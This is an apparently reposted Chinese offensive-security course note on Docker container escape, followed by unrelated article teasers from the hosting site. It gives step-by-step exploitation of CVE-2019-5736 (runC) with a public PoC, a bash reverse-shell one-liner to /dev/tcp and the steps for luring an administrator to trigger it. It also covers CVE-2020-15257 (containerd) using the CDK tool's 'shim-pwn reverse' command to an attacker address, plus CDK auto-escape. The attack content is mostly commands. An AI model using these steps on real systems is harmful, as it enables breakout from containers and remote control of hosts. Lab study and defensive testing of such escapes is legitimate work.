Day96:云上攻防-云原生篇Docker安全系统内核版本漏洞CDK自动利用容器逃逸

本文主要是介绍Day96:云上攻防-云原生篇Docker安全系统内核版本漏洞CDK自动利用容器逃逸,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

云原生-Docker安全-容器逃逸&系统内核漏洞

云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

云原生-Docker安全-容器逃逸&CDK自动化


知识点:

1、云原生-Docker安全-容器逃逸&内核漏洞

2、云原生-Docker安全-容器逃逸&版本漏洞

3、云原生-Docker安全-容器逃逸&CDK自动化

云原生-Docker安全-容器逃逸&系统内核漏洞

细节部分在权限提升章节会详解,常用:

CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 
CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

影响版本:

Docker version <= 18.09.2
RunC version <= 1.0-rc6

1、安装docker对应版本

apt-get updateapt-get install -y apt-transport-https ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"apt-get updateapt-cache madison docker-ceapt-get install docker-ce=18.06.1~ce~3-0~ubuntu

2、启动靶场环境测试

docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

3、编译修改后EXP后等待管理员进入容器执行

https://github.com/Frichetten/CVE-2019-5736-PoC

bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

docker cp main 7f4793f3ac0cd13:/

chmod 777 main

执行main文件   ./main

真实系统管理员重新进入该容器触发反弹shell

docker exec -it 7f4793f3ac0cd13 /bin/bash

4、实验获取云服务器上docker搭建的Web权限后进行逃逸

docker run -it -p 8888:8080 vulhub/struts2:s2-053

该工具只能上传脚本文件目录,没法上传一些执行程序,需要拿到webshell利用webshell链接工具上传执行程序。

查看当前网站目录

CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

影响版本:

containerd < 1.4.3
containerd < 1.3.9

1、安装docker对应版本

apt-get updateapt-get install ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -add-apt-
repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get updateapt-cache madison docker-ceapt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

2、启动环境测试:

docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash  //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 5be3ed60f152 /bin/bash

3、上传CDK工具自动逃逸反弹

docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp

chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx  //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描

4、实验获取到docker搭建的Web权限后进行逃逸

云原生-Docker安全-容器逃逸&CDK自动化

项目地址:https://github.com/cdk-team/CDK

不支持系统内核漏洞

演示-特权模式

也可以指定漏洞利用

这篇关于Day96:云上攻防-云原生篇Docker安全系统内核版本漏洞CDK自动利用容器逃逸的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/896338

相关文章

【Linux进阶】UNIX体系结构分解——操作系统,内核,shell

1.什么是操作系统? 从严格意义上说,可将操作系统定义为一种软件,它控制计算机硬件资源,提供程序运行环境。我们通常将这种软件称为内核(kerel),因为它相对较小,而且位于环境的核心。  从广义上说,操作系统包括了内核和一些其他软件,这些软件使得计算机能够发挥作用,并使计算机具有自己的特生。这里所说的其他软件包括系统实用程序(system utility)、应用程序、shell以及公用函数库等

ONLYOFFICE 8.1 版本桌面编辑器测评

在现代办公环境中,办公软件的重要性不言而喻。从文档处理到电子表格分析,再到演示文稿制作,强大且高效的办公软件工具能够极大提升工作效率。ONLYOFFICE 作为一个功能全面且开源的办公软件套件,一直以来都受到广大用户的关注与喜爱。而其最新发布的 ONLYOFFICE 8.1 版本桌面编辑器,更是带来了诸多改进和新特性。本文将详细评测 ONLYOFFICE 8.1 版本桌面编辑器,探讨其在功能、用户

17.用300行代码手写初体验Spring V1.0版本

1.1.课程目标 1、了解看源码最有效的方式,先猜测后验证,不要一开始就去调试代码。 2、浓缩就是精华,用 300行最简洁的代码 提炼Spring的基本设计思想。 3、掌握Spring框架的基本脉络。 1.2.内容定位 1、 具有1年以上的SpringMVC使用经验。 2、 希望深入了解Spring源码的人群,对 Spring有一个整体的宏观感受。 3、 全程手写实现SpringM

LeetCode11. 盛最多水的容器题解

LeetCode11. 盛最多水的容器题解 题目链接: https://leetcode.cn/problems/container-with-most-water 示例 思路 暴力解法 定住一个柱子不动,然后用其他柱子与其围住面积,取最大值。 代码如下: public int maxArea1(int[] height) {int n = height.length;int

通信系统网络架构_2.广域网网络架构

1.概述          通俗来讲,广域网是将分布于相比局域网络更广区域的计算机设备联接起来的网络。广域网由通信子网于资源子网组成。通信子网可以利用公用分组交换网、卫星通信网和无线分组交换网构建,将分布在不同地区的局域网或计算机系统互连起来,实现资源子网的共享。 2.网络组成          广域网属于多级网络,通常由骨干网、分布网、接入网组成。在网络规模较小时,可仅由骨干网和接入网组成

Ubuntu20.04离线安装Docker

1.下载3个docker离线安装包,下载网址: https://download.docker.com/linux/ubuntu/dists/xenial/pool/stable/amd64/ 2.把3个离线安装包拷贝到ubuntu本地执行以下命令 sudo dpkg -i containerd.io_1.4.6-1_amd64.deb sudo dpkg -i docker-ce-c

亮相WOT全球技术创新大会,揭秘火山引擎边缘容器技术在泛CDN场景的应用与实践

2024年6月21日-22日,51CTO“WOT全球技术创新大会2024”在北京举办。火山引擎边缘计算架构师李志明受邀参与,以“边缘容器技术在泛CDN场景的应用和实践”为主题,与多位行业资深专家,共同探讨泛CDN行业技术架构以及云原生与边缘计算的发展和展望。 火山引擎边缘计算架构师李志明表示:为更好地解决传统泛CDN类业务运行中的问题,火山引擎边缘容器团队参考行业做法,结合实践经验,打造火山

Linux系统稳定性的奥秘:探究其背后的机制与哲学

在计算机操作系统的世界里,Linux以其卓越的稳定性和可靠性著称,成为服务器、嵌入式系统乃至个人电脑用户的首选。那么,是什么造就了Linux如此之高的稳定性呢?本文将深入解析Linux系统稳定性的几个关键因素,揭示其背后的技术哲学与实践。 1. 开源协作的力量Linux是一个开源项目,意味着任何人都可以查看、修改和贡献其源代码。这种开放性吸引了全球成千上万的开发者参与到内核的维护与优化中,形成了

Visual Studio中,MSBUild版本问题

假如项目规定了MSBUild版本,那么在安装完Visual Studio后,假如带的MSBUild版本与项目要求的版本不符合要求,那么可以把需要的MSBUild添加到系统中,然后即可使用。步骤如下:            假如项目需要使用V12的MSBUild,而安装的Visual Studio带的MSBUild版本为V14。 ①到MSDN下载V12 MSBUild包,把V12包解压到目录(

利用Frp实现内网穿透(docker实现)

文章目录 1、WSL子系统配置2、腾讯云服务器安装frps2.1、创建配置文件2.2 、创建frps容器 3、WSL2子系统Centos服务器安装frpc服务3.1、安装docker3.2、创建配置文件3.3 、创建frpc容器 4、WSL2子系统Centos服务器安装nginx服务 环境配置:一台公网服务器(腾讯云)、一台笔记本电脑、WSL子系统涉及知识:docker、Frp